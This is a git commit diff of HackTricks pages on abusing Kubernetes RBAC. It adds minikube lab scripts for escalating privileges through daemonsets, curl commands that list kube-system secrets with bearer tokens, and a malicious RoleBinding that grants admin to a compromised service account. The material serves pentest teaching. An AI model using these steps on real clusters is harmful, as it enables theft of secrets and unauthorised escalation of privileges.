1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

GitBook: [#2935] No subject

This commit is contained in:
CPol 2022-01-10 00:02:55 +00:00 committed by gitbook-bot
parent 2d430c8f77
commit 65af320117
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
3 changed files with 389 additions and 68 deletions

View file

@ -40,20 +40,6 @@ rules:
verbs: ["create", "list", "get"]
```
### **Listing Secrets**
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster including the admin keys**. The secret key is a JWT token encoded in base64.
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
### Pod Creation - Steal Token
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
@ -226,7 +212,7 @@ kubectl logs app -C proxy
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### **Create/Update Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.**
@ -277,58 +263,6 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges.
### **Get/Patch Rolebindings**
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png)
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
```javascript
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "compromised-svc"
"namespace": "default"
}
]
}
```
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
```bash
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
```
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
```bash
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
### **Impersonating privileged accounts**
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) **** privilege, an attacker could impersonate a privileged account.
@ -353,6 +287,22 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### **Listing Secrets**
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster including the admin keys**. The secret key is a JWT token encoded in base64.
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
###
### **Reading a secret brute-forcing token IDs**
An attacker that found a token with permission to read a secret cant use this permission without knowing the full secrets name. This permission is different from the _**listing** **secrets**_ permission described above.
@ -407,6 +357,62 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png)
### **Get & Patch RoleBindings/ClusterRoleBindings**
{% hint style="danger" %}
**Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
{% endhint %}
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png)
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
```javascript
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "compromised-svc"
"namespace": "default"
}
]
}
```
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
```bash
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
```
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
```bash
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
```
## Best Practices
### **Prevent service account token automounting on pods**

View file

@ -1,6 +1,8 @@
# K8s Roles Abuse Lab
You can run this lab just inside **minikube**.
You can run these labs just inside **minikube**.
## Pod Creation -> Escalate to ns SAs
We are going to create:
@ -106,3 +108,312 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Create Daemonset
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
### Patch Daemonset
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
If your user has the **verb update instead of patch, this won't work**.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Not work - Create/Patch Bindings
**Doesn't work:**
* **Create a new RoleBinding** just with the verb **create**
* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
* You cannot do this to assign the role to yourself or to a different SA
* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
* You cannot do this to assign the role to yourself or to a different SA
```bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
subjects:
- kind: ServiceAccount
name: test-sa
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-r2
subjects:
- kind: ServiceAccount
name: test-sa2
apiGroup: ""
roleRef:
kind: Role
name: test-r2
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```

View file

@ -36,6 +36,10 @@ Kubernetes sometimes checks authorization for additional permissions using speci
* [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
* `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
{% hint style="warning" %}
You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
{% endhint %}
### Examples
Example of **Role** **configuration**: